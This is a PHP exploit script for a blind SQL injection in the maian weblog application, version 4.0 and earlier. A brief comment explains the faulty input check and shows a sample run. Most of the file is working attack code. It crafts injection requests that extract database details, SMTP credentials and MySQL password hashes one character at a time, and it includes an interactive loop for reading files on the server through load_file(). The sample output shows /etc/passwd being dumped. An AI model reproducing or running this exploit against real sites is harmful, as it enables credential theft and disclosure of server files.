1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 |
<?php /* maian weblog <= v4.0 Remote Blind SQL Injection Exploit vendor: http://www.maianscriptworld.co.uk/ Thanks to Johannes Dahse: http://bit.ly/dpQXMK Explanation: Lines 335 - 341 of the index.php we see this if statement that concerns our variable $b_post. // Check month and year vars... // If they don<code>t equal 0, are they numeric?.. if ($b_post==0 && !ctype_digit($b_post)) { header("Location: index.php"); exit; } This if statement is suppose to prevent the SQL Injection vulnerability. However the logic implimented is incorrect, as there will never be a situation where the $b_post variable that we control will ever be a 0 and a string value. So a simple fix to remediate this issue becomes clear, instead of an &&, the author was suppose to use an ||. o.O Further down in the index.php page on lines 348 - 361, we see the location of the actual vulnerable code. $q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs WHERE id = '$b_post' LIMIT 1 ") or die(mysql_error()); $BLOG = mysql_fetch_object($q_blog); // At this point, lets see if the last query fetched anything.. // If it didn</code>t, blog id is invalid. Might be someone bookmarked an old link.. // If no data, redirect to homepage.. if (mysql_num_rows($q_blog)==0) { header("Location: index.php"); exit; } The page redirects after the query is executed. This way you probably won't spot the bug in your browser from a blackbox view :). No urldecode() so we can't bypass magic_quotes_gpc and the admin credentials are not stored in the database. doh. Using < or > would make the PoC a little more efficient, but oh well :0) Assuming some stars are aligned, the PoC will make well over 11,000 requests... [mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080 ------------------------------------------------------- maian weblog <= v4.0 Remote Blind SQL Injection Explo!t by mr_me - https://net-ninja.net/ ------------------------------------------------------- (+) Setting the proxy to 127.0.0.1:8080 (+) Getting basic database information (+) Database version -> 5.1.41-3ubuntu12.9 (+) Database name -> maian_weblog (+) Database user -> root@localhost (+) SMTP details found! (+) Getting SMTP host:user:pass -> localhost:maianmail:password (+) Access to MySQL database successful, dumping hash! (+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413 (!) Access to load_file(), wanna play? (y/n): y (+) Please enter the file (q to quit): /etc/shadow (-) File doesn't exist/no access. (+) Please enter the file (q to quit): /etc/passwd (!) Dumping the /etc/passwd file, hold onto your knickers! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...... */ print_r(" ------------------------------------------------------- maian weblog <= v4.0 Remote Blind SQL Injection Explo!t by mr_me - https://net-ninja.net/ ------------------------------------------------------- "); if ($argc < 3) { print_r(" ----------------------------------------------------------------------------- Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS host:target server (ip/hostname) path:directory path to wordpress Options: -p[ip:port]: specify a proxy Example: php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080 php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ ----------------------------------------------------------------------------- "); die; } error_reporting(7); ini_set("max_execution_time", 0); ini_set("default_socket_timeout", 5); $proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)"; function setArgs($argv) { $_ARG = array(); foreach ($argv as $arg) { if (ereg("--([^=]+)=(.*)", $arg, $reg)) { $_ARG[$reg[1]] = $reg[2]; } elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) { $_ARG[$reg[1]] = "true"; } else { $_ARG["input"][] = $arg; } } return $_ARG; } $myArgs = setArgs($argv); $host = $myArgs["input"]["1"]; $path = $myArgs["input"]["2"]; if (strpos($host, ":") == true){ $hostAndPort = explode(":",$myArgs["input"][1]); $host = $hostAndPort[0]; $port = $hostAndPort[1]; }else{ $port = 80; } if(isset($myArgs["p"])){ $proxyAndPort = explode(":",$myArgs["input"][3]); $proxy = $proxyAndPort[0]; $pport = $proxyAndPort[1]; echo "\n(+) Setting the proxy to ".$proxy.":".$pport; }else{ echo "\n(-) Warning, a proxy was not set"; } // rgods sendpacketii() function function sendpacket($packet) { global $proxy, $host, $port, $pport, $html, $proxy_regex; if (!isset($proxy)) { $ock = fsockopen(gethostbyname($host),$port); if (!$ock) { echo "\n(-) No response from ".$host.":".$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo "\n(-) Not a valid proxy..."; die; } $ock=fsockopen($proxy,$pport); if (!$ock) { echo "\n(-) No response from proxy..."; die; } } fputs($ock,$packet); if ($proxy == "") { $html = ""; while (!feof($ock)) { $html .= fgets($ock); } } else { $html = ""; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) { $html .= fread($ock,1); } } fclose($ock); return $html; } function read() { $fp1 = fopen("/dev/stdin", "r"); $input = fgets($fp1, 255); fclose($fp1); return $input; } if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;} function checksqli($sqli, $p){ $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $html = sendpacket($packet); if (strlen($html) > 429) { return 1; } else{ return 0; } } function getbasicinfo($p){ echo "\n(+) Getting basic database information"; $basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()"); foreach($basicinfo as $key => $value){ echo "\n(+) Database ".$key." -> "; $admin = ""; $j=1; while (!strstr($admin,chr(0))){ for ($i=1; $i<=126; $i++){ $sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i; $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $html = sendpacket($packet); if (strlen($html) > 429){ $admin.= chr($i); echo chr($i); break; } elseif($i === 126){ $admin .= "\x00"; break; } } $j++; } } } function getlogindetails($p, $msg, $tsqli){ echo $msg; $tempvar = ""; $j=1; while (!strstr($tempvar,chr(0))){ for ($i=1; $i<=126; $i++){ if (!strpos($tsqli, "load_file") == true){ $sqli = $tsqli."+limit+0,1),".$j.",1))='".$i; } else { $sqli = $tsqli."),".$j.",1))='".$i; } $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $html = sendpacket($packet); if (strlen($html) > 429){ echo chr($i); break; } elseif($i === 126){ $tempvar .= "\x00"; break; } } $j++; } } function strhex($string) { $hex = ""; for ($i=0; $i < strlen($string); $i++){ $hex .= dechex(ord($string[$i])); } return $hex; } getbasicinfo($p); $smtpsqli = "'+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)='1"; if (checksqli($smtpsqli, $p)){ echo "\n(+) SMTP details found!"; $msg = "\n(+) Getting SMTP host:user:pass -> "; $sqli = "'+and+ascii(substring((sElEcT+cOncAt("; $sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+"; $sqli .= "from+mw_settings"; getlogindetails($p, $msg, $sqli); } $mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1"; if (checksqli($mysqlsqli, $p)){ echo "\n(+) Access to MySQL database successful, dumping hash!"; $msg = "\n(+) MySQL user:pass -> "; $sqli = "'+and+ascii(substring((sElEcT+cOncAt("; $sqli .= "user,0x3a,password)+from+mysql.user+"; getlogindetails($p, $msg, $sqli); $loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+"; if (checksqli($loadsqli, $p)){ echo "\n(!) Access to load_file(), wanna play? (y/n): "; $resp = trim(read()); if(strcmp($resp,"y") === 0){ $loadfile = ""; while (strcmp($loadfile, "q") != 0){ echo "\n(+) Please enter the file (q to quit): "; $loadfile = trim(read()); if (strcmp($loadfile, "q") === 0) { break; } $loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+"; if(checksqli($loadsqli, $p)){ $sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile); $msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n"; getlogindetails($p, $msg, $sqli); } else{ echo "(-) File doesn't exist/no access."; } } } else{ echo "(-) Ok Exiting..\n"; die; } } } ?> |